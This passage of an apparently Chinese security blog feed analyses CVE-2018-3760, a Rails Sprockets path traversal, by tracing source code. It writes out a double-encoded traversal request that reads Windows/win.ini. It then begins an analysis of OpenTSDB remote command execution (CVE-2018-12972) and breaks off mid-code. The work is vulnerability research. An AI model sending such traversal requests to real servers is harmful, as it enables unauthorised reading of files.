path.sub(<span class="string">"-<span class="subst">#&#123;fingerprint&#125;</span>"</span>, <span class="string">''</span>)</div><div class="line">    <span class="keyword">end</span></div><div class="line">    <span class="comment"># 此时path值为 file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini</span></div><div class="line"></div><div class="line">    <span class="comment"># URLs containing a `".."` are rejected for security reasons.</span></div><div class="line">    <span class="keyword">if</span> forbidden_request?(path)</div><div class="line">        <span class="keyword">return</span> forbidden_response(env)</div><div class="line">    <span class="keyword">end</span></div><div class="line"></div><div class="line">    ...</div><div class="line"></div><div class="line">    asset = find_asset(path, options)</div><div class="line">    ...</div></pre></td></tr></table></figure></p>
<p><code>forbidden_request</code>用来对path进行检查，是否包含<code>..</code>以防止路径穿越，是否是绝对路径：<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">private</div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">forbidden_request?</span><span class="params">(path)</span></span></div><div class="line">    <span class="comment"># Prevent access to files elsewhere on the file system</span></div><div class="line">    <span class="comment">#</span></div><div class="line">    <span class="comment">#     http://example.org/assets/../../../etc/passwd</span></div><div class="line">    <span class="comment">#</span></div><div class="line">    path.<span class="keyword">include</span>?(<span class="string">".."</span>) <span class="params">||</span> absolute_path?(path)</div><div class="line"><span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>如果请求中包含<code>..</code>即返回真，然后返回forbidden_response(env)信息。</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180808122707-4f7cf082-9ac3-1.png" alt="4.png"></p>
<p>回到call函数，进入<code>find_asset(path, options)</code>，在 lib/ruby/gems/2.4.0/gems/sprockets-3.7.1/lib/sprockets/base.rb:63:<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># Find asset by logical path or expanded path.</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">find_asset</span><span class="params">(path, options = &#123;&#125;)</span></span></div><div class="line">    uri, <span class="number">_</span> = resolve(path, options.merge(<span class="symbol">compat:</span> <span class="literal">false</span>))</div><div class="line">    <span class="keyword">if</span> uri</div><div class="line">        <span class="comment"># 解析出来的 uri 值为 file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini</span></div><div class="line">        load(uri)</div><div class="line">    <span class="keyword">end</span></div><div class="line"><span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>跟进<code>load</code>，在 lib/ruby/gems/2.4.0/gems/sprockets-3.7.1/lib/sprockets/loader.rb:32 。以请求<code>GET /assets/file:%2f%2f//C:/chybeta/blog/app/assets/config/%252e%252e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2fWindows/win.ini</code>为例，其一步步的解析过程见下注释：<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">load</span><span class="params">(uri)</span></span></div><div class="line">    <span class="comment"># 此时 uri 已经经过了一次的url解码 </span></div><div class="line">    <span class="comment"># 其值为  file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini</span></div><div class="line">    unloaded = UnloadedAsset.new(uri, <span class="keyword">self</span>)</div><div class="line">    <span class="keyword">if</span> unloaded.params.key?(<span class="symbol">:id</span>)</div><div class="line">        ...</div><div class="line">    <span class="keyword">else</span></div><div class="line">        asset = fetch_asset_from_dependency_cache(unloaded) <span class="keyword">do</span> <span class="params">|paths|</span></div><div class="line">        <span class="comment"># When asset is previously generated, its "dependencies" are stored in the cache.</span></div><div class="line">        <span class="comment"># The presence of `paths` indicates dependencies were stored.</span></div><div class="line">        <span class="comment"># We can check to see if the dependencies have not changed by "resolving" them and</span></div><div class="line">        <span class="comment"># generating a digest key from the resolved entries. If this digest key has not</span></div><div class="line">        <span class="comment"># changed the asset will be pulled from cache.</span></div><div class="line">        <span class="comment">#</span></div><div class="line">        <span class="comment"># If this `paths` is present but the cache returns nothing then `fetch_asset_from_dependency_cache`</span></div><div class="line">        <span class="comment"># will confusingly be called again with `paths` set to nil where the asset will be</span></div><div class="line">        <span class="comment"># loaded from disk.</span></div><div class="line"></div><div class="line">        <span class="comment"># 当存在缓存时</span></div><div class="line">        <span class="keyword">if</span> paths</div><div class="line">            load_from_unloaded(unloaded)</div><div class="line">            digest = DigestUtils.digest(resolve_dependencies(paths))</div><div class="line">            <span class="keyword">if</span> uri_from_cache = cache.get(unloaded.digest_key(digest), <span class="literal">true</span>)</div><div class="line">                asset_from_cache(UnloadedAsset.new(uri_from_cache, <span class="keyword">self</span>).asset_key)</div><div class="line">        <span class="keyword">end</span></div><div class="line">        <span class="keyword">else</span></div><div class="line">        <span class="comment"># 当缓存不存在，主要考虑这个</span></div><div class="line">            load_from_unloaded(unloaded)</div><div class="line">        <span class="keyword">end</span></div><div class="line">    <span class="keyword">end</span></div><div class="line">    <span class="keyword">end</span></div><div class="line">    Asset.new(<span class="keyword">self</span>, asset)</div><div class="line"><span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>跟入<code>UnloadedAsset.new</code><br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">UnloadedAsset</span></span></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">initialize</span><span class="params">(uri, env)</span></span></div><div class="line">      @uri               = uri.to_s</div><div class="line">      @env               = env</div><div class="line">      @compressed_path   = URITar.new(uri, env).compressed_path</div><div class="line">      @params            = <span class="literal">nil</span> <span class="comment"># lazy loaded</span></div><div class="line">      @filename          = <span class="literal">nil</span> <span class="comment"># lazy loaded 具体实现见下面</span></div><div class="line">    <span class="keyword">end</span></div><div class="line">    ...</div><div class="line">    <span class="comment"># Internal: Full file path without schema</span></div><div class="line">    <span class="comment">#</span></div><div class="line">    <span class="comment"># This returns a string containing the full path to the asset without the schema.</span></div><div class="line">    <span class="comment"># Information is loaded lazilly since we want `UnloadedAsset.new(dep, self).relative_path`</span></div><div class="line">    <span class="comment"># to be fast. Calling this method the first time allocates an array and a hash.</span></div><div class="line">    <span class="comment">#</span></div><div class="line">    <span class="comment"># Example</span></div><div class="line">    <span class="comment">#</span></div><div class="line">    <span class="comment"># If the URI is `file:///Full/path/app/assets/javascripts/application.js"` then the</span></div><div class="line">    <span class="comment"># filename would be `"/Full/path/app/assets/javascripts/application.js"`</span></div><div class="line">    <span class="comment">#</span></div><div class="line">    <span class="comment"># Returns a String.</span></div><div class="line"></div><div class="line">    <span class="comment"># 由于采用了Lazy loaded，当第一次访问到filename这个属性时，会调用下面这个方法</span></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">filename</span></span></div><div class="line">      unless @filename</div><div class="line">        load_file_params <span class="comment"># 跟进去，见下</span></div><div class="line">      <span class="keyword">end</span></div><div class="line">      @filename</div><div class="line">    <span class="keyword">end</span></div><div class="line">    ...</div><div class="line">    <span class="comment"># 第 130 行</span></div><div class="line">    private</div><div class="line">    <span class="comment"># Internal: Parses uri into filename and params hash</span></div><div class="line">    <span class="comment">#</span></div><div class="line">    <span class="comment"># Returns Array with filename and params hash</span></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">load_file_params</span></span></div><div class="line">        <span class="comment"># uri 为  file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini</span></div><div class="line">        @filename, @params = URIUtils.parse_asset_uri(uri)</div><div class="line">    <span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>跟入<code>URIUtils.parse_asset_uri</code><br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">parse_asset_uri</span><span class="params">(uri)</span></span></div><div class="line">    <span class="comment"># uri 为  file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini</span></div><div class="line">    <span class="comment"># 跟进 split_file_uri</span></div><div class="line">    scheme, <span class="number">_</span>, path, query = split_file_uri(uri)</div><div class="line">    ...</div><div class="line">    <span class="keyword">return</span> path, parse_uri_query_params(query)</div><div class="line"><span class="keyword">end</span></div><div class="line"></div><div class="line">...<span class="comment"># 省略</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">split_file_uri</span><span class="params">(uri)</span></span></div><div class="line">    scheme, <span class="number">_</span>, host, <span class="number">_</span>, <span class="number">_</span>, path, <span class="number">_</span>, query, <span class="number">_</span> = URI.split(uri)</div><div class="line">    <span class="comment"># 此时解析出的几个变量如下： </span></div><div class="line">    <span class="comment"># scheme: file</span></div><div class="line">    <span class="comment"># host: </span></div><div class="line">    <span class="comment"># path: /C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini</span></div><div class="line">    <span class="comment"># query:  </span></div><div class="line">    path = URI::Generic::DEFAULT_PARSER.unescape(path)</div><div class="line">    <span class="comment"># 这里经过第二次的url解码</span></div><div class="line">    <span class="comment"># path：/C:/chybeta/blog/app/assets/config/../../../../../../../Windows/win.ini</span></div><div class="line">    path.force_encoding(Encoding::UTF_8)</div><div class="line"></div><div class="line">    <span class="comment"># Hack for parsing Windows "file:///C:/Users/IEUser" paths</span></div><div class="line">    path.gsub!(<span class="regexp">/^\/([a-zA-Z]:)/</span>, <span class="string">'\1'</span>.freeze)</div><div class="line">    <span class="comment"># path: C:/chybeta/blog/app/assets/config/../../../../../../../Windows/win.ini</span></div><div class="line">    [scheme, host, path, query]</div><div class="line"><span class="keyword">end</span></div><div class="line"><span class="string">``</span><span class="string">`    </span></div><div class="line"></div><div class="line"></div><div class="line">![5.png](https://xzfile.aliyuncs.com/media/upload/picture/20180808122707-4f8e0bce-9ac3-1.png)</div><div class="line"></div><div class="line"></div><div class="line">在完成了filename解析后，我们回到`load<span class="string">`函数末尾，进入`</span>load_from_unloaded(unloaded)<span class="string">`:</span></div><div class="line">`<span class="string">``</span>ruby</div><div class="line">    <span class="comment"># Internal: Loads an asset and saves it to cache</span></div><div class="line">    <span class="comment">#</span></div><div class="line">    <span class="comment"># unloaded - An UnloadedAsset</span></div><div class="line">    <span class="comment">#</span></div><div class="line">    <span class="comment"># This method is only called when the given unloaded asset could not be</span></div><div class="line">    <span class="comment"># successfully pulled from cache.</span></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">load_from_unloaded</span><span class="params">(unloaded)</span></span></div><div class="line">        unless file?(unloaded.filename)</div><div class="line">            raise FileNotFound, <span class="string">"could not find file: <span class="subst">#&#123;unloaded.filename&#125;</span>"</span></div><div class="line">        <span class="keyword">end</span></div><div class="line"></div><div class="line">        load_path, logical_path = paths_split(config[<span class="symbol">:paths</span>], unloaded.filename)</div><div class="line">        unless load_path</div><div class="line">            raise FileOutsidePaths, <span class="string">"<span class="subst">#&#123;unloaded.filename&#125;</span> is no longer under a load path: <span class="subst">#&#123;<span class="keyword">self</span>.paths.join(<span class="string">', '</span>)&#125;</span>"</span></div><div class="line">        <span class="keyword">end</span></div><div class="line">        ....</div></pre></td></tr></table></figure></p>
<p>主要是进行了两个检查：文件是否存在和是否在合规目录里。主要关注第二个检测。其中<code>config[:paths]</code>是允许的路径，而<code>unloaded.filename</code>是请求的路径文件名。跟入 lib/ruby/gems/2.4.0/gems/sprockets-3.7.2/lib/sprockets/path_utils.rb:120：<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># Internal: Detect root path and base for file in a set of paths.</span></div><div class="line"><span class="comment">#</span></div><div class="line"><span class="comment"># paths    - Array of String paths</span></div><div class="line"><span class="comment"># filename - String path of file expected to be in one of the paths.</span></div><div class="line"><span class="comment">#</span></div><div class="line"><span class="comment"># Returns [String root, String path]</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">paths_split</span><span class="params">(paths, filename)</span></span></div><div class="line">    <span class="comment"># 对paths中的每一个 path</span></div><div class="line">    paths.each <span class="keyword">do</span> <span class="params">|path|</span></div><div class="line">    <span class="comment"># 如果subpath不为空</span></div><div class="line">        <span class="keyword">if</span> subpath = split_subpath(path, filename)</div><div class="line">            <span class="comment"># 则返回 path, subpath</span></div><div class="line">            <span class="keyword">return</span> path, subpath</div><div class="line">        <span class="keyword">end</span></div><div class="line">    <span class="keyword">end</span></div><div class="line">    <span class="literal">nil</span></div><div class="line"><span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>继续跟入<code>split_subpath</code>， lib/ruby/gems/2.4.0/gems/sprockets-3.7.2/lib/sprockets/path_utils.rb:103。假设上面传入的path参数是``。<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># Internal: Get relative path for root path and subpath.</span></div><div class="line"> <span class="comment">#</span></div><div class="line"> <span class="comment"># path    - String path</span></div><div class="line"> <span class="comment"># subpath - String subpath of path</span></div><div class="line"> <span class="comment">#</span></div><div class="line"> <span class="comment"># Returns relative String path if subpath is a subpath of path, or nil if</span></div><div class="line"> <span class="comment"># subpath is outside of path.</span></div><div class="line"> <span class="function"><span class="keyword">def</span> <span class="title">split_subpath</span><span class="params">(path, subpath)</span></span></div><div class="line">   <span class="keyword">return</span> <span class="string">""</span> <span class="keyword">if</span> path == subpath</div><div class="line">   <span class="comment"># 此时 path 为 C:/chybeta/blog/app/assets/config/../../../../../../../Windows/win.ini</span></div><div class="line">   path = File.join(path, <span class="string">''</span>)</div><div class="line">   <span class="comment"># 此时 path 为 C:/chybeta/blog/app/assets/config/../../../../../../../Windows/win.ini/</span></div><div class="line">   <span class="comment"># 与传入的绝对路径进行比较</span></div><div class="line">   <span class="comment"># 如果以 允许的路径 为开头，则检查通过。</span></div><div class="line">   <span class="keyword">if</span> subpath.start_with?(path)</div><div class="line">     subpath[path.length..-<span class="number">1</span>]</div><div class="line">   <span class="keyword">else</span></div><div class="line">     <span class="literal">nil</span></div><div class="line">   <span class="keyword">end</span></div><div class="line"> <span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>通过检查后，在<code>load_from_unloaded</code>末尾即进行了读取等操作，从而通过路径穿越造成任意文件读取。</p>
<p>如果文件以<code>.erb</code>结尾，则会直接执行：</p>
<h1 id="补丁"><a href="#补丁" class="headerlink" title="补丁"></a>补丁</h1><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180808122708-4fa451c2-9ac3-1.png" alt="buding.png"></p>
<p>在server.rb中，增加关键字过滤<code>://</code>。</p>
<h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul>
<li><a href="https://github.com/rails/sprockets/commit/c09131cf5b2c479263939c8582e22b98ed616c5f" target="_blank" rel="external">https://github.com/rails/sprockets/commit/c09131cf5b2c479263939c8582e22b98ed616c5f</a></li>
<li><a href="https://blog.heroku.com/rails-asset-pipeline-vulnerability" target="_blank" rel="external">https://blog.heroku.com/rails-asset-pipeline-vulnerability</a></li>
<li><a href="https://twitter.com/orange_8361/status/1009309271698300928" target="_blank" rel="external">https://twitter.com/orange_8361/status/1009309271698300928</a></li>
</ul>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/2542&quot;&gt;Ruby on Rails 路径穿越与任意文件读取漏洞分析 -【CVE-2018-3760】&lt;/a&gt;&lt;br&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="ruby" scheme="http://chybeta.github.io/tags/ruby/"/>
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="rails" scheme="http://chybeta.github.io/tags/rails/"/>
    
      <category term="路径穿越" scheme="http://chybeta.github.io/tags/%E8%B7%AF%E5%BE%84%E7%A9%BF%E8%B6%8A/"/>
    
      <category term="任意文件读取" scheme="http://chybeta.github.io/tags/%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/"/>
    
  </entry>
  
  <entry>
    <title>OpenTSDB远程命令执行漏洞分析 -【CVE-2018-12972】</title>
    <link href="http://chybeta.github.io/2018/08/11/OpenTSDB%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-%E3%80%90CVE-2018-12972%E3%80%91/"/>
    <id>http://chybeta.github.io/2018/08/11/OpenTSDB远程命令执行漏洞分析-【CVE-2018-12972】/</id>
    <published>2018-08-11T03:33:13.000Z</published>
    <updated>2018-08-11T03:34:06.515Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://xz.aliyun.com/t/2511" target="_blank" rel="external">OpenTSDB远程命令执行漏洞分析 -【CVE-2018-12972】</a><br><a id="more"></a></p>
<h1 id="相关背景"><a href="#相关背景" class="headerlink" title="相关背景"></a>相关背景</h1><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180731225944-5c6989e6-94d2-1.png" alt="3.jpg"></p>
<p>Opentsdb是基于Hbase的分布式的，可伸缩的时间序列数据库。官方提供了一个web界面来提供对查询数据进行可视化分析，其背后的绘图由Gnuplot支持。其Github地址为： <a href="https://github.com/OpenTSDB/opentsdb" target="_blank" rel="external">https://github.com/OpenTSDB/opentsdb</a> 。在某些版本(比如2.3.0，以下分析以2.3.0版本为例)中，其提供的Web接口存在远程命令执行漏洞，一旦利用成功将以root权限执行。分析见下。</p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>在opentsdb中，默认情况下<code>tsd.core.enable_ui</code>开启，允许通过http来进行rpc调用。当访问时<code>/q?xx=xxx</code>时，对应的rpc接口即<code>GraphHandler</code>。见 src/tsd/RpcManager.java:297：<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">initializeBuiltinRpcs</span><span class="params">(<span class="keyword">final</span> String mode,</span></span></div><div class="line">        <span class="keyword">final</span> ImmutableMap.Builder&lt;String, TelnetRpc&gt; telnet,</div><div class="line">        <span class="keyword">final</span> ImmutableMap.Builder&lt;String, HttpRpc&gt; http) &#123;</div><div class="line">    ...</div><div class="line">      <span class="keyword">if</span> (enableUi) &#123;</div><div class="line">        ...</div><div class="line">        http.put(<span class="string">"q"</span>, <span class="keyword">new</span> GraphHandler());</div><div class="line">        ...</div><div class="line">      &#125;</div><div class="line">    ...</div></pre></td></tr></table></figure></p>
<p>在 src/tsd/GraphHandler.java:108 execute中<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">execute</span><span class="params">(<span class="keyword">final</span> TSDB tsdb, <span class="keyword">final</span> HttpQuery query)</span> </span>&#123;</div><div class="line">   ...</div><div class="line">   <span class="keyword">try</span> &#123;</div><div class="line">     doGraph(tsdb, query);</div><div class="line">   &#125; <span class="keyword">catch</span> (IOException e) &#123;</div><div class="line">     query.internalError(e);</div><div class="line">   &#125; <span class="keyword">catch</span> (IllegalArgumentException e) &#123;</div><div class="line">     query.badRequest(e.getMessage());</div><div class="line">   &#125;</div><div class="line"> &#125;</div></pre></td></tr></table></figure></p>
<p>跟入 <code>doGraph</code><br>其中接受参数在<br>src/tsd/GraphHandler.java:198 doGraph 中：<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">doGraph</span><span class="params">(<span class="keyword">final</span> TSDB tsdb, <span class="keyword">final</span> HttpQuery query)</span></span></div><div class="line">  <span class="keyword">throws</span> IOException &#123;</div><div class="line">  <span class="keyword">final</span> String basepath = getGnuplotBasePath(tsdb, query);</div><div class="line"></div><div class="line">  <span class="comment">// 获取 start 参数,保证格式正确，否则抛出错误</span></div><div class="line">  <span class="keyword">long</span> start_time = DateTime.parseDateTimeString(</div><div class="line">    query.getRequiredQueryStringParam(<span class="string">"start"</span>),</div><div class="line">    query.getQueryStringParam(<span class="string">"tz"</span>));</div><div class="line"></div><div class="line">  ...</div><div class="line">  <span class="comment">// 获取 end 参数,保证格式正确，否则抛出错误</span></div><div class="line">  <span class="keyword">long</span> end_time = DateTime.parseDateTimeString(</div><div class="line">      query.getQueryStringParam(<span class="string">"end"</span>),</div><div class="line">      query.getQueryStringParam(<span class="string">"tz"</span>)); </div><div class="line">  </div><div class="line">  ...</div><div class="line">  <span class="comment">// 获取 o 参数</span></div><div class="line">  List&lt;String&gt; options = query.getQueryStringParams(<span class="string">"o"</span>);</div><div class="line">  ...</div><div class="line"></div><div class="line">  <span class="keyword">final</span> Plot plot = <span class="keyword">new</span> Plot(start_time, end_time,</div><div class="line">        DateTime.timezones.get(query.getQueryStringParam(<span class="string">"tz"</span>)));</div><div class="line">  <span class="comment">// 设置 plot 维度，无影响，可忽略</span></div><div class="line">  setPlotDimensions(query, plot);</div><div class="line"></div><div class="line">  <span class="comment">// 设置 plot 参数, 下文讲解</span></div><div class="line">  setPlotParams(query, plot);</div><div class="line">  ...</div><div class="line"></div><div class="line">  <span class="keyword">final</span> RunGnuplot rungnuplot = <span class="keyword">new</span> RunGnuplot(query, max_age, plot, basepath,</div><div class="line">          aggregated_tags, npoints);</div><div class="line"></div><div class="line">  ...</div><div class="line"></div><div class="line">  <span class="comment">// Fetch global annotations, if needed</span></div><div class="line">  <span class="keyword">if</span> (...) &#123;</div><div class="line">    ...</div><div class="line">  &#125; <span class="keyword">else</span> &#123;</div><div class="line">    <span class="comment">// 执行画图程序</span></div><div class="line">    execGnuplot(rungnuplot, query);</div><div class="line">  &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>从请求中获取对应值并设置plot参数在<code>setPlotParams(query, plot);</code>中完成：<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">setPlotParams</span><span class="params">(<span class="keyword">final</span> HttpQuery query, <span class="keyword">final</span> Plot plot)</span> </span>&#123;</div><div class="line">  <span class="keyword">final</span> HashMap&lt;String, String&gt; params = <span class="keyword">new</span> HashMap&lt;String, String&gt;();</div><div class="line">  <span class="keyword">final</span> Map&lt;String, List&lt;String&gt;&gt; querystring = query.getQueryString();</div><div class="line">  String value;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"yrange"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"yrange"</span>, value);</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"y2range"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"y2range"</span>, value);</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"ylabel"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"ylabel"</span>, stringify(value));</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"y2label"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"y2label"</span>, stringify(value));</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"yformat"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"format y"</span>, stringify(value));</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"y2format"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"format y2"</span>, stringify(value));</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"xformat"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"format x"</span>, stringify(value));</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"ylog"</span>)) != <span 